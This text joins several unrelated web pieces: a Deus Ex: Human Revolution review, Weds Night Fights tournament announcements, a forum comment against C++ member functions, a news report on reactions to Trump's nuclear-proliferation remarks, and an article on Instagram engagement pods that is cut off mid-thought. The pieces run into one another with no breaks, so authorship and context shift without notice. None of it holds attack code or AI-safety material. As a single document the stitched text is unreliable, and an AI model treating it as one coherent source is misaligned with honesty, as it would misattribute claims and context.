Probably the most controversial of the additions to the new game was the fact that there is no health. Well, there is, but you regenerate constantly by default which means that, like a lot of newer FPS games, if you get shot you just have to hide for a bit to get better. Initially I didn’t have a problem with this system. In fact, considering the setting of human augmentation it seems to make more sense in DX than anywhere else. However, in retrospect I can say it removed a lot of the urgency from situations. If I was feeling lazy and there was a single enemy, I’d just sneak up as close as a I could and then charge to do a take down, fully cognizant of the fact that if he gets a shot off, all I have to do is sit on my ass for 20 seconds. That is unless he head shots me or has a powerful enough weapon…
In the original DX, you had all sorts of fun because you were damaged. Getting through the next scenario might not be difficult but if you were out of medkits and had 10 health, getting through suddenly becomes a lot more challenging. There’s nothing like sneaking up on an enemy knowing that if he turns around it doesn’t matter if he’s armed with a feather duster, you’re fucked. Then there was fun stuff like, if you were hit in the arm enough, your aim got all wonky. If you were hit in the legs, you were slowed to a crawl. None of that happens in the new game, and it’s difficulty shows it.
Cover System
Another change was the addition of a third person cover system. Honestly, this change was very well done and a welcome modification of the original game play. In the original game, you had the ability to lean around a corner to scope out what was there, but the cover system allows you to have a much better idea of what’s going on around you. On one hand, it’s kinda bullshit because you can see over walls that you’re crouched behind, but on the other hand I imagine it as sort of an extension of the main character’s intuition. The ability to see a room, see the enemies, crouch and still piece together what’s going on based on sound. Besides, you’re equipped with a radar system that can “see” practically everything, so why not?
The bottom line is that the cover system is just a formalization of the techniques you’d use in the first game if you were any good at it, and the ability to move quickly between cover is a definite improvement over the first game in which you’d crouch walk instead of doing a leaping somersault.
Take Downs
Related to the cover system you also have a third-person take downs. As a melee aficionado, I was disappointed that the game eliminated melee weapons. However, I’m still conflicted about it. The take downs were nice, very cinematic and also very useful. I would’ve have been able to complete a non-lethal stealth play through without them. Really I’m only apprehensive because they were so easy to achieve. Walk up to one (or two with an augmentation) guys and, provided you have enough energy, it’s light’s out. No finesse required, other than getting close to them without getting your head blown off.
In the original game, it was difficult to make it through with a knife or a baton. I can’t count the number of reloads I’ve had to do because I snuck up on someone, uncrouched and then fucked up the execution of a melee “take down” in the original.
I also don’t get why a takedown takes the same sort of energy as your augmentations. I mean, does it take as much energy to punch two dudes out as it does to turn invisible for 3/5/7 seconds? Maybe, but I think if they needed to limit the amount of take downs you could do (they did), then I think a cooldown period would’ve done the job better. Particularly because it’s tough to gauge how much energy you’re going to need in situations. For example, if you wanted to cloak and take someone down you need to make damn sure that you’ve got a full energy bar left by the time you reach your target or you’re just going to stand there.
All in all, I could take them or leave them. The take downs were fun to execute, even if they were too easy, and I suppose it makes sense that a consummate badass would be able to snap your neck or choke you out pretty much on a whim.
Boss Fights
This is also the first time DX has had true boss fights. In the original you had climactic moments, and you killed a lot of important NPCs who were tough and armed like bosses, but there were no true bosses. Personally, I’m of the opinion that boss fights are contrived and this was no exception. Perhaps it makes a bit more sense considering the story line and the whole idea of augmented super warriors, but if they would’ve stayed true to the original and just integrated them into a level it would’ve been a lot more fun and a lot less frustrating than a true boss “arena” complete with ammunition and usually a novel way to destroy your foe. Not to mention it would’ve probably been a lot more challenging if they just showed up in the middle of a level and fucked you up instead of having the whole cliched cut scene.
The other point I’ll make here is that while the game did a good job making sure that the rest of the game was doable without killing anyone, when it came to the bosses you were forced to be lethal. I don’t really have a problem killing the bosses and sparing their lesser guards, but it was a huge pain in the ass to arm myself with lethal weapons at the beginning of each boss fight. For the second boss in particular it was extremely annoying that I had to find lockers, drop non-lethal items and ammo out of my inventory so I could pick up a machine pistol and some ammo … all while being chased. I guess that’s what I get for being non-lethal and having to kill someone.
Hacking
Hacking is one gameplay addition that I think the designers did right and better than the original. The hacking minigame was a challenge and different each time. It added a level of difficulty to opening a door that wasn’t present in the first game (where all you had to think about was “do I have enough skill/lockpicks/multitools to do this?”). It was nice that sometimes I could break a level 5 system without an alarm, and sometimes a level 2 system would alarm right off the bat and make you sweat. I enjoyed all of the hacking in the stealth play through.
Omissions
There were some other, minor, gameplay elements that I would’ve like to have seen in the new game, although I can forgive their omissions. I would’ve really liked to have seen ammo types, although since ammo is now an inventory item and you’re always at a loss for space that might’ve been annoying. Melee weapons would’ve been a plus as I mentioned before although similarly an inventory problem. Weapon mods were sufficiently scarce, but didn’t apply to enough weapons. With my non-lethal play through virtually none of the mods would apply to my tranquilizer rifle so I put them all on my reserve pistol. Some wouldn’t make any sense (damage, silencer), and it came with a scope, but why can’t I have a laser sight? I think the only mods I could actually apply to it were the reload speed mods.
None of these are that important however.
The World
First off, let me say unequivocally that the level design was great. The levels provided numerous paths to take for virtually every scenario. The city hubs were atmospheric and suitably dirty and complicated. The facilities were well thought out and believable. The game seems to do squalor and sophistication with the same ease. This was a hallmark of the original Deus Ex, although the original seemed to tend toward the dingy post-apocalyptic side of the spectrum for the majority of the time. Perhaps I am just unaccustomed to the current state of PC gaming, but I was very impressed with the look and feel of the game.
The world told of through the various scattered e-books (not datacubes yet, I guess), newspapers, emails etc. seems realistic and, importantly, it seemed to connect well with the world of the original. There are a lot of juicy references for old players, like Manderley, TTong (who you actually get to see at one point), and the NSF.
That said, the immediate world that you play in seems much smaller. You globe trot, which is important for a Deus Ex game considering the original took you all across the world, but three of these locations you only see as a singular level. Albeit a singular, well-designed level, you still don’t get a chance to venture out before being choppered elsewhere. That’s similar to the first game where the only cities you truly explore are New York and Hong Kong, (I guess you might be able to count Paris, although it’s different) but there were many many many peripheral locations in those cities and between your visits to them. The original had much more content and had many more levels without a lot of time being spent doing pointless side-quests. I guess I shouldn’t be surprised in the age of DLC.
To make things worse, it seems like most of the places you visit don’t have any real secrets to find. The original had many little nooks and crannies to explore unrelated to the advancement of the storyline. To give an example: In the original Deus Ex, there was actually a very small secret MJ12 facility beneath the streets very early on in the game. You don’t encounter MJ12 as part of the story until much later, but if you find it you raise questions like “who the hell were those dudes with Roman numerals on their helmets carrying combat rifles in the sewers?” They weren’t part of any quest at that point. No one ever directs you to the facility, you just have to find them on your own. Now, I could be making an ass out of myself because there very well could be secrets like this in the new game. In fact, it could be rife with them but I can say that I didn’t find anything that surprising and I was looking.
The core issue I have with the immediate world is that it was too efficiently designed. There are different paths and doors to hack, storage units to break into, etc. but almost everything is there for a purpose. Every ladder, every vent, every corridor is there as part of some type of quest. Too many times I was called back to a room I had already broken into (the hacker in my character can’t stand a locked door) for some scripted event to happen. Without the reward of finding new places and secrets, I almost felt as though it was pointless to explore since the game would effectively take me to every place worth going. That’s not a good feeling in a Deus Ex game.
The Story
This part has spoilers for both Deus Ex and DX:HR [skip]
Finally, the story. Deus Ex had a lot of strong points, but its story was the strongest. It was vast in its scope. Your point of view shifted wildly as you played through the game. You were surprised and betrayed and truly felt the effect of your choices.
DX:HR tries to pull off the same feat. It does a much better job than the sequel-that-shall-not-be-named, but I still ended the game disappointed. I feel like I anticipated every twist and turn. The first time we heard of Pan… Pan… Panchaea? However you spell the arctic research facility, I knew I was going to be visiting it. The LIMB clinic biochip replacement because of the glitches? I knew that I should avoid it. The instant that it was revealed that Dr. Reed was “dead” I knew she wasn’t (although I admit I doubted myself when reading her autopsy).
I’m not sure why. Maybe it’s because I can never play a Deus Ex game for the first time again. Maybe I’m just not 15 anymore, but I’ve convinced myself that it’s more than mere experience that’s made the difference.
I felt that the choices that I made were of much less consequence than in the first game. This might be another place where I’m making an ass out of myself because I’ve only done one play through so I haven’t really seen how things could’ve turned out, however I feel that I have a grasp on the scope of the choices. On re-evaluating the choices in the first game I guess that they didn’t really have much effect on the overall story, but they had a psychological effect and they weren’t always obvious. The best example from the original is that I didn’t know, until my third play through (or so) that you could stay back (despite his urging) and save your brother, Paul. I always just assumed that I was supposed to run and he was supposed to die. Admittedly if you save him or he dies it has little effect in the long run (in one mission you have to recover his body if he’s dead, otherwise you don’t that’s about it — other than having him around your home base) but it’s psychological. I saved my brother, that’s important. Another big choice in the original was to kill Agent Navarre in the airplane. Basically you’re choosing whether you defect from UNATCO now or later, and the difference is very slight in the overarching storyline, but psychologically at the time of making the choice you feel like you have reached a giant fork and that feeling is all that’s important. DX:HR evoked no such feelings and each choice was obviously presented. The choice whether or not to frame Taggart is fun, but it’s effect is immediate and you never feel like it’s going to change the next steps of the game in any important way. Same with the biochip replacement.
I also mentioned betrayal. In the original Deus Ex, there was nothing more mind-blowing than escaping a prison complex full of secret police only to realize it’s in the basement of the department you used to work for. Yep, this super secret prison is actually right there where you happily and obliviously worked for the first couple of missions. It was totally shocking. That’s not a twist you can anticipate just by being aware of common cultural tropes.
The story suffers from the same fatal flaw that the level design did though. It’s effective and not much more. I can say that the story left me in the dark in terms of what I was going to be doing next, up until the very end. I didn’t know I was going to Shanghai until I was two minutes from being there. When I woke up in a cargo pod in Singapore, it was news to me. The story does have that going for it: it got me from one place to another with a purpose. If this was any other game that would be enough, Half-life even made its name doing this. But this isn’t just any game, this is Deus Ex.
The original story dealt with the Illuminati, the world government, secessionists. Conspiracy on an unknown number of levels that you had been thrust into as a wildcard. This story attempted to weave those elements into it (the Illuminati are mentioned, the crazy radio DJ ranting about the Bilderbergs, etc.) but failed to really make me feel like I was taking part until the last minute. In essence, the new storyline was attempting to weave conspiracy and corporate espionage into the main story, which was the most basic and utterly over done classic save-the-girl storyline. Here’s the true problem: JC Denton was a government operative that felt betrayed by the system that created him. JC was out for Truth with a capital T. The Truth to destroy those that had made and subsequently deceived him. Adam Jensen, as much as I loved playing him, was a bodyguard trying to get his woman back.
Conclusion
Don’t get me wrong, this game was a lot of fun. I’m already planning another play through because, despite the fact that the choices were obvious and anemic, I’m interested in how the game changed and how it would play if I couldn’t open literally every door and hack every computer I found. It’ll also be nice to try out some of the more aggressive augmentations. Perhaps on this run through I’ll discover secrets and realize my previous statements are false or come to a greater appreciation of the game in general.
After 3 successful online edition seasons, we have showcased new talents in Street Fighter, Mortal Kombat, and Killer Instinct communities. The online platform is an integral part of community growth which helps in discovering new strategies, match ups, and new regions. We want to say thank you to all that have participated in the Online Edition of WNF and hope everyone keeps practicing for the next major event! Are we done with WNF Online? We are taking a break from the WNF online platform and planning new opportunities for 2016. Stay tuned!
Moving forward, we are excited to formally announce Weds Night Fights returning to the live experience this Fall Season at eSports Arena! We have been working extremely hard in parallel to our Online, Prelude, and SCR events to plan the next chapter for WNF and it’s finally coming this October 21! Let’s get to it!
We are taking Weds Night Fights back to it’s roots by only focusing on Wednesday as the main night to host fighting game competition. Not only that, we are inviting the ENTIRE fighting game community and favorite titles to the event. Any era of fighting games from the 90’s to modern titles, we will have space for any game the community wishes support. The action doesn’t stop there. We are also introducing an inclusive community building program which will help achieve your goals in growing your scene, promoting your brand, and streaming opportunities.
Bring Your Own Console (BYOC)
One of the core features of Weds Night Fights is having dedicated BYOC sections throughout eSports Arena. We feel having a BYOC at all times increases the amount of play time for tournament players and to introduce new players to the scene. We have 2 levels of BYOC space throughout the venue so first come, first serve to set up shop with your favorite titles! (Please Note: We have limited supplies of consoles since many are used for WNF tournaments.)
Community Building at WNF
Many community members join events and eventually are interested in starting a scene on their own. Finding affordable venue space with adequate power, internet, tables, and chairs however can be extremely overwhelming for anybody including us! (SCR venue hunting!). We understand the hardships and want to offer you an opportunity to grow the scene the right way. We want to work with passionate members of the community to be ambassadors of your favorite titles. If you are interested in community building, we will provide you/your organization a road map on how to promote, run tournaments, acquire set ups, and stream on your own channel at WNF! Your event will be promoted throughout our social mediums every week and your stream channel will be part of our Level Up Team Member’s page on Twitch! All YouTube replays from your archives will also remain on your channel! If you are interested, please send us an email at admin@levelup-series.com
Level Up Twitch Team Members:
http://twitch.tv/leveluplive – Main Stream – Ultra Street Fighter IV / Mortal Kombat
http://twitch.tv/2ggaming – 2GG – Smash 4 / Melee
http://twitch.tv/jyosua – Jyosua / Tloc – Guilty Gear Xrd, Blazblue CPEX, UNIEL, Persona 4 Arena Ultimax
Weds Night Fights Fall Tournament Season
Fall Season begins October 21 at eSports Arena featuring the most popular fighting game titles all the way through December 16. We will have Main and Community driven events running concurrently at WNF. What’s the difference between Main and Community driven events? Main events are tournaments we are hosting with our current affiliates which will have sponsored prizing at the end of the Season. Community events are BYOC and start up community building effort tournaments. Community driven tournaments can have the standard buy in or $1 dollar tournaments, high roller, or even free to enter. The choice is up to the community to decide what works best!
Main Event Games
Ultra Street Fighter IV – PC (New Alienware Alpha)
Mortal Kombat X – PS4
Smash 4 – Wii U
Melee – Gamecube
Community Driven
Ultimate Marvel vs Capcom 3 – Xbox360
Killer Instinct – XboxOne
Guilty Gear Xrd – PS3
Blazblue Chrono Phantasma Extend – PS3
Persona 4 Arena Ultimax – PS3
UNIEL – PS3
Gamelist for BYOC (Limited consoles available!)
Ultra Street Fighter IV – PC / Xbox360
Mortal Kombat X – PS4
Smash 4 – Wii U
Melee – Gamecube
Ultimate Marvel vs Capcom 3 – Xbox360
Tekken Tag Tournament 2 – PS3
Persona 4 Arena Ultimax – PS3
Guilty Gear Xrd – PS3
UNIEL – PS3
Divekick – PS3
(If you want your title to be featured, feel free to let us know your community building plan so we can work with you! Reach out to us at admin@levelup-series.com)
Rules: We are using the SCR2015 ruleset for all Main and Community Driven tournaments – http://www.socalregionals.com/games
Weds Night Fights Fall Season – Road to Final Round 2016!
We’re excited to send our overall WNF Ultra Street Fighter IV champion to Final Round 2016! The highest point scorer on Dec. 16 wins the trip to Atlanta, Georgia to compete in the hypest tournament on Earth!
Season Prizes
Special season prizes from our sponsors will be awarded to finalists which includes Fight sticks from Arcade shock, apparel from Splitframe, Cloud II Headsets from HyperX, WNF shirts and more! Stay tuned for prize distribution breakdown!
Season Points Breakdown
1st 50 2nd 30 3rd 10 4th 5 5th 2 5th 2 7th 1 7th 1
Buy-in Prize Distribution
1st 60% 2nd 30% 3rd 10%
Weds Night Fights Competitor Pass: $10
Weds Night Fights competitor pass will give you access to main, community driven, and BYOC!
Main Game / Community Driven Buy-in: $5 (100% of the buy-in goes toward the prize distribution)
Spectator Pass
Spectating or just watching the action live is absolutely FREE!
eSports Arena Monthly Membership: $13 (For frequent competitors, this SAVES YOU MONEY and COMPLETELY OPTIONAL!)
If you purchase an eSports Arena membership, check out the following perks:
Discounts and Special Offers (50% off Weds Night Fights competitor pass all month long!)
Access to the Arena (Full access to Level Up FGC section and PCs for other genres of competitive gaming.)
Early Access to Events
Member Only Events
Dedicated Fighting Game Community Section provided by Level Up
If you are coming to practice on multiple days or meet up with friends for casuals, you can utilize the facility any day of the week with your membership or daily pass! As long as the facility isn’t fully booked by a private event, we are providing games to rushdown the competition!
Parking
Parking in downtown Santa Ana is FREE AFTER 8PM. The meters have new signs which say after 10PM but will not go in effect until January 2016. There are other alternatives such as nearby parking structures located here – http://www.downtown-santaana.com/dtsanew/wp-content/uploads/2014/10/Downtown-Parking-Map.pdf
Hours of Operation
Tournament Start Time: 9:30PM – 1AM
Casuals can start from 12PM – 1Am on Weds or 12PM – 12AM daily with a membership!
eSports Arena – http://esportsarena.com
120 West 5th Street Santa Ana, California 92701
eSports Arena is North America’s first dedicated eSports facility. The Arena is a 15,000 square foot facility and located in downtown Orange County, California.
eSports Arena’s unique modular facility allows for small to large scale highly produced eSports and entertainment events. eSports Arena will also host daily video game competition, produce unique digital content, and rent space/equipment to the eSports/interactive entertainment industry at a fraction of the cost of traditional venues.
Summer is well underway and we’re bringing the heat this season by adding Killer Instinct(KI) to the Weds Night Fights(WNF) lineup! KI has arguably the finest netplay to date and amazing players in North America which hone their skills on both online and offline events. We’re excited to finally bring KI to WNF as it will showcase high quality matches with a full roster of characters now available to all competitors. Overall finalists will win sponsored prizes and Killer bragging rights at the end of the season. Summer Season Episode 3.1 sign ups kick off Aug. 3, WNF qualifiers on Aug. 4, and finals stream showcase on Aug. 5 only on http://twitch.tv/leveluplive .
We are also proud to announce our partnership with Modify Watches! They are providing an amazing Weds Night Fights custom made watch to the Killer Instinct Grand Champion! Modify Watches is a cool startup from San Francisco that creates custom-print, hand-assembled watches. Check out their website at http://modifywatches.com to find a colorful design from your favorite artist, sports team, non-profit, or even our brand new collection of Weds Night Fights / SoCal Regionals watches! Use Coupon Code: “LEVELUP” and save 20% on your next purchase! Level Up collaborator’s page coming soon at http://modifywatches.com/levelup .
The Road to The Fall Classic 2015! Mid Season Ultra Street Fighter IV Overall Points Finalist by 8/26/2015!
Weds Night Fights – Killer Instinct Qualifiers
Just like Ultra Street Fighter IV and Mortal Kombat X, sign ups starts every Monday and qualifiers every Tuesday at 6PM PST. Top 8 players will be showcased every Weds during the main event! For more information about the sign up process please read our tournament process guide.
*Note: There will be a minimum of 2Mbps upload speed to enter! Players must link their speedtest.net bandwidth results in the discussion section of the corresponding WNF challonge link.
Rules:
Best 2 out of 3 rounds
Best 2 out of 3 games
Double elimination
99 second rounds
Winner of each game must remain with the same character, loser can switch
All characters allowed
Weds Night Fights Spring Season is here and we’re absolutely excited to announce Mortal Kombat X is added to the Season lineup! We are bringing players together to compete in one of the most intense fighting games in history on PlayStation 4! Competitors will battle for a chance to win some of our amazing sponsored prizes and ultimate bragging rights all season long! For our dedicated Ultra Street Fighter IV players, we announced the Season 2 Grand Prize will win a trip to the largest fighting game tournament on the planet, Evolution Championship series! Weds Night Fights Spring Season hits home on May 6 at 6PM PST only on http://twitch.tv/leveluplive
Weds Night Fights Qualifiers – Mortal Kombat X
Just like Ultra Street Fighter IV qualifiers, Mortal Kombat X sign ups starts every Monday and qualifiers every Tuesday at 6PM PST. Top 4 players will be showcased every Weds during the main event! For more information about the sign up process please read our tournament process guide.
MKX Lobby Instructions: (Make sure you sign up as your PSN Gamer ID in challonge so your opponent and admins can find you!)
*Note: There will be a minimum of 2Mbps upload speed to enter! Players must link their speedtest.net bandwidth results in the discussion section of the corresponding WNF challonge link.
1. Go online and select ‘ROOMS’
2. Look for room ‘WNF’
3. Look for your opponent in the lobby and challenge them to a private match. (Doesn’t matter who initiates the invitation.)
4. OPTIONAL: Manually search your opponent’s Gamer ID and start your own private match in versus. This method may take more time than the lobby because you have to search/add every entry.
Rules:
Best 2 out of 3 rounds
Best 2 out of 3 games
Double elimination
99 second rounds
Winner of each game must remain with the same character, loser can switch
Variation must remain on winners side, loser can switch
All DLC is allowed
Ultra Street Fighter IV
Wednesday Night Fights (WNF), Southern California’s premier weekly fighting game event, celebrates five years of quality competition, insightful commentary, and amazing fighting game personalities. From garages to amusement centers, WNF is the most successful event in finding talented players in SoCal and preparing them for the largest tournaments in the country. But what about everyone else? Since participation is limited to a region, many challengers are on the sidelines without a chance to compete… until now. Introducing Wednesday Night Fights: Online Edition.
WNF returns in 2015 with a brand new Season of Street Fighter tournaments streamed every Weds starting Feb. 18. The next generation of WNF players will now get an opportunity to compete vs Canada, USA, and Mexico for prizes, true regional skill standings, and a FREE flight to SoCal Regionals 2015! Taking the fight to a platform that is accessible and predominantly used for competitive gaming, we’re also excited to announce the WNF platform of choice is Steam(PC)! We’re bringing the fight to your doorstep in 2015 with more challengers than ever before! How much does this cost to enter? Weds Night Fights Online Edition is absolutely FREE TO ENTER! Are you ready!?
Visit our Weds Night Fights social media pages and stay connected to other warriors!
Facebook – http://facebook.com/wedsnightfights
Steam – http://steamcommunity.com/groups/levelupseries
Level Up Online Tournament Process Guide
New to online tournaments? No problem! Check out how to find, register, and compete in Weds Night Fights and other Level Up online events by reviewing our Tournament Process Guide.
*Note: There will be a minimum of 2Mbps upload speed to enter! Players must link their speedtest.net bandwidth results on their Steam profiles to be eligible to enter!
WNF Qualifiers – Ultra Street Fighter IV
Since participation is expected to reach overwhelming capacity, we’re hosting a qualifier every Tuesday at 6PM PST starting Feb. 17. Players will compete vs opponents from across the North American region to qualify top 16 for the main Weds Night Fights event. Exposure will be in the hands of the competitors during qualifiers so it is encouraged for players to stream their own matches or collaborate with other streamers. An amazing opportunity to promote more player streams in a globally recognized fighting game event!
Weds Night Fights Qualifier Template
We encourage players to stream / record their WNF Qualifer matches to build great story lines and exposure this tournament season.
Feel free to use our WNF Qualifier template on your streams if you’re starting out or in addition to your amazing graphics.
Please Note: The template is completely optional. If you wish to use your own graphics, that’s perfectly fine. Instructions: (There are 2 images attached below. One image is an example of how it looks like in game and the other is the stand alone template image.)
1. Click the stand alone template image
2. Right click qualifier template and save image as.. (Save to whichever folder is convenient)
3. Select the qualifier template and add image to your desired broadcast software (Xsplit, OBS, etc.)
4. Adjust size and finish!
Rules:
Best 2 out of 3 rounds
Best 2 out of 3 games
Double elimination
99 second rounds
Winner of each game must remain with the same character, loser can switch
WNF Main Event
After the beatdowns settle from Tuesday’s qualifier, the top 16 remaining fighters will compete in the Weds Night Fights main event at 6PM PST. The entire showcase will be streamed on our Twitch channel http://twitch.tv/leveluplive with special guest commentary and new features for the fans to enjoy. Winter Season kicks off this Feb. 18 so don’t miss out on the action!
Rules:
Best 2 out of 3 rounds
Best 2 out of 3 games
Best 3 out of 5 games during Winners, Losers, and Grand Finals
Double elimination
99 second rounds
Winner of each game must remain with the same character, loser can switch
Winter Season – The Road to SoCal Regionals 2015
WNF has a tradition of finding the best players in Southern California and preparing them for tournaments across country. With WNF Online Edition, we’re extending our reach to find the best fighters in many more regions for an opportunity to travel to our hometown event! The overall Winter Season champion will win a FREE trip to SoCal Regionals this May 1-3 2015! All this action and only the first Season! Who knows what we’re up to next?
Spring Season – The Road to Evolution Championship Series 2015!
Summer Season – The Road to The Fall Classic 2015!
Tournament Season Schedule:
Winter – 2/18, 2/25, 3/4, 3/11, 3/18, 3/25, 4/1, 4/18 – SoCal Regionals 2015 (COMPLETED) Brenttiscool is our Winter Champion!
Spring – 5/6, 5/13, 5/20, 5/27, 6/3, 6/10, 6/17, 6/24 – Evolution Championship Series 2015 (COMPLETED) Damdai aka JCVD is our Spring Champion!
Summer – 8/5, 8/12, 8/19, 8/26, 9/2, 9/9, 9/16, 9/23 – The Fall Classic 2015 USF4 (COMPLETED) Brenttiscool is our Summer Champion!
Fall – 10/21, 10/28, 11/4, 11/11, 11/18, 11/25, 12/9, 12/16 – Final Round 2016 – (COMPLETED) Chris Tatarian is our Fall Season Champion!
HyperX Cloud II – The Official Headset of WNF
We’re proud to announce HyperX is an official sponsor of Weds Night Fights 2015! Known for industry leading Memory, SSD, USB Drives, and peripherals, our good friends are bringing their latest product to the fighting game scene, introducing the HyperX Cloud II Headset! The Cloud II Headset combines quality, comfort, and compatibility to enhance your gaming experience for competition. Gearing up the fighting game community, HyperX is providing our overall WNF season champions AND creative stream viewers a chance to win these amazing headsets! Shout outs to HyperX for supporting our community!
Check out what our friends at HyperX have in store this tournament season!
HyperX – WNF Twitter Contest!
We’re giving away 2 Cloud II headsets every Season to our awesome WNF viewers! The most creative Tweet/picture of you watching a LIVE WNF episode will earn a spot in http://strawpoll.me for the preliminary round. At the end of each Season, the top 2 most voted Tweets from our viewers will win the headsets! We’ll showcase fan favorite submissions throughout every episode so everyone can enjoy! Check out the rules/eligibility below for your chance to join in on the fun:
Rules:
Must follow and tweet @HyperX @levelupseries Use hashtag #WNF Link a ‘creative’ picture of how you watch WNF! (Amazing and appropriate only please! Also only Twitter pics will be showcased!) Example: “Watching @hyperX @levelupseries tonight and I want to Shoryuken Blanka so bad for beating me online! #WNF”
Eligibility:
Must reside in USA, Canada, Mexico only! 2 winners per Season only! Cannot win more than 1 time!
Alienware
In 2014, WNF has introduced a new platform to play competitive Street Fighter. Continuing the good fight in 2015, we’re honored to have Alienware return as an official sponsor of Weds Night Fights! WNF events are powered by Alienware all season long so expect great games and hosting to our marquee top 16 matches!
Twitch
Watching WNF in the world’s leading video platform and gaming community is the best way to catch all the action. Twitch is the place to watch the most exciting fighting game events in world and we’re growing together every year! Don’t miss an episode by following our Twitch channel or experience cool chat features and more by subscribing!
Arcade Shock, QANBA, SPLITFRAME
Even the idea of UFCS is just a massive overcomplication. It only seems simple compared to baseline C++.
I should say that the biggest problem I find with the idea of member functions is that they are extremely anti-code-reuse. I know this may seem paradoxical, because the whole point is to encapsulate code in an easy-to-reuse way, but I'll give an example.
Let's say you have some basic data type like a 3D Vector called Vector3. You want everyone to be motivated to use Vector3 so that there's no friction when passing data between the main program and various libraries, etc.
All that is necessary for compatibility in a fast program is that everyone agrees on the data layout of Vector3. But as soon as you tie member functions to the data, you are insisting that everyone needs to think the same way about the data that is in a Vector3, and operate on it the same way. And that will never be true, because different code needs to think about data types in different ways; and also because programmers express their personality in programs, and different programmers want to think in different ways about the most common data types.
So if you force people to think a certain way about Vector3 or other basic data types, you are motivating them (or *requiring* them) to go against that grain and make their own alternatives. Then the system is fragmented and you have all these data types that need to be converted again. Or, if people don't do that, they just end up passive-aggressively hating the task of programming, which is not what you want.
So in reality, you want Vector3 to define only a common piece of data to be exchanged. You can provide default functions for operating on Vector3, but in a way that people can easily shadow them with their own functions or else use a completely disjoint set. That is just not what most "object models" encourage. Thus they put huge amounts of friction onreuse in this particular kind of case, which is very common and very important.
(I wish people would stop telling me that member functions are good because you can do obj . and get a list of procs in the IDE after typing the dot. You can obviously do this with flat functions too. Please stop telling me this kthx.)
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“Frankly, it would be catastrophic were the United States to shift its position and indicate we support somehow the proliferation of nuclear weapons to additional countries,” deputy national security adviser Ben Rhodes told reporters at the Nuclear Security Summit in Washington.
The real estate mogul's proposal is just the latest example of how his aggressive foreign policy rhetoric has roiled the presidential campaign.
Trump told The New York Times over the weekend that Japan and South Korea should shoulder more of the expense of defending themselves against North Korea, whose nuclear ambitions have prompted renewed international concern.
“There’ll be a point at which we’re just not going to be able to do it any more,” Trump said of the United States. “Now, does that mean nuclear? It could mean nuclear. It’s a very scary nuclear world.”
Rhodes said Japan and South Korea benefit from the U.S.' "rock-solid security assurances," adding the idea that more countries should obtain nuclear weapons “flies in the face of decades of bipartisan national security doctrine.”
“The entire premise of American foreign policy as it relates to nuclear weapons for the past 70 years has been focused on preventing the proliferation of nuclear weapons to additional states,” he said.
The White House’s comments came after Obama met with Japanese Prime Minister Shinzō Abe and South Korean President Park Geun-hye.
The three leaders said they are united in ridding the Korean Peninsula of nuclear arms. They pledged to enforce new United Nations sanctions against North Korea in response to recent nuclear tests and a rocket launch.
White House officials said the 2016 race didn’t come up in the discussions with the Asian leaders.
“An idea like that is not particularly relevant to the very serious discussions we are having here,” Rhodes said.
Emily Violet Blocked Unblock Follow Following Nov 29, 2017
Ever since Instagram removed chronological posts, users have been scrambling to find a way to hack the algorithm. Some turn to bots while others swear by hashtags, but the pro Instagrammers? They’re joining forces to fight the algorithm together, with their own hidden hack: Instagram pods.
What The Heck Is An Instagram Pod?
If you’re not part of one already, you’re probably wondering “what is an Instagram pod?” Instagram pods are private groups of Instagrammers, bloggers, or businesses that have similar audiences and the desire to increase their Instagram engagement and get more followers. Instagram pods communicate with each other via the Telegram app, and every time someone in the pod publishes a new Instagram post, they share it in the group message thread. Instagram pod members will then click on the post, like it, and leave a genuine comment which encourages other, regular followers to engage with the post too. No spammy comments here!
It’s hard to tell when Instagram pods first came on the scene, but it’s safe to say they’re a direct result of Instagram’s infamous “algorithm-altering” change that had bloggers clutching their gold iPhones in 2016.
“Ever since they introduced the non-chronological feed, Instagram is supposedly only showing your posts to the followers it deems as ‘highly engaged with’ or ‘important’ to you,” Stephanie Gilbert of Small Talk Social, who’s a member of two Instagram pods, told us.
How To Increase Your Engagement With Instagram Comment Pods
Now you may be wondering, what exactly does being in an Instagram pod entail? Here’s the basic rundown: First, you’re added (or you request to be added) to a Telegram group chat. Usually this happens through word-of-mouth, but you can also find success finding the right Instagram pod for you through various Instagram-themed Telegram Groups (like Wolf Global Groups) Once you’re in, each group has their own rules and stipulations to reaping the benefits, aka engagement.
As Gilbert put it: “If you’re thinking of joining one, the main thing to remember is you’re expected to give as much as you receive, and that can be a lot of work! It’s a commitment.”
This means adhering to the group’s “like for like” and “comment for comment” rule, which typically means once a person pings the group that they’ve posted, everyone must go to the post to like and comment on the group’s deadline.
Of course, this can feel overwhelming to the novice Instagram users just trying to get their social media footing right. Gilbert said that it definitely requires an enormous amount of upkeep, and is “not for the faint of heart.” I can personally confirm this, having participated in an Instagram pod for a week and found that keeping up with the Podders was a round-the-clock investment in our feed.
At this point, Gilbert is a seasoned Instagram pod pro, and advises those interested in joining one to check out Wolf Global group on Telegram for a good fit.
Instagram Pods For Beginners: How To Get Started
But what about those who are just starting out?
New to Instagram pods, Mayra Hernandez of sincerelymayra.com asked to join one through a Telegram invite and was accepted about a month ago. She noted that some groups are “very exclusive.”
“At first it was a bit intimidating for me as I was new to all the blogging world and was confused as to what was expected,” she said. “But once you get the hang of it, it’s pretty cool. The group I’m currently in is pretty small. I’m sure with larger groups it can get a little crazy.”
As for the benefits she’s received from joining an Instagram pod, thus far it’s been hard to say.
“I’ve only been part of the group for a very short time. I’m pretty new to blogging so as far as boosting engagement for my blog, I’m still not seeing much results.”
As far as Instagram goes, she said, she’s getting new followers daily but can’t honestly say at this time that’s it’s due to joining this Instagram pod. “I try to stay active and involved with my followers and that’s what I believe is making a big difference.”
Instagram Comment Pods: An Ethical Dilemma?
And what about the ethical side of soliciting engagement through an in-app strategy?
Some think that “at the end of the day, engagement is engagement,” Gilbert explained. “I don’t see it as unethical if you’re creating or joining an Instagram pod filled with people you’d actually engage with anyway.”
She likened it to the Instagram feature giving you the option to be notified when certain users post — but instead, it’s all happening inside of a DM conversation.
And Marketing Strategist Jon Westenberg agrees, to an extent.
“All’s fair in love, war and social media engagement,” he joked. And the fact is that it’s always a battle to get people to pay attention to your feed these days. “So if you can find a way to make that happen, then all power to you!”
However, Westenberg also believes that it’s important to think long-term, saying that if an engagement-soliciting strategy takes advantage of an app’s feed, it probably won’t be around for long.
Are Instagram Pods The Way Of The Future?
For Zaraga, founder of Wolf Global, the engagement equation is a simple one when it comes to Instagram pods, which he defends by pointing to the factors that pushed power users to resort to them.
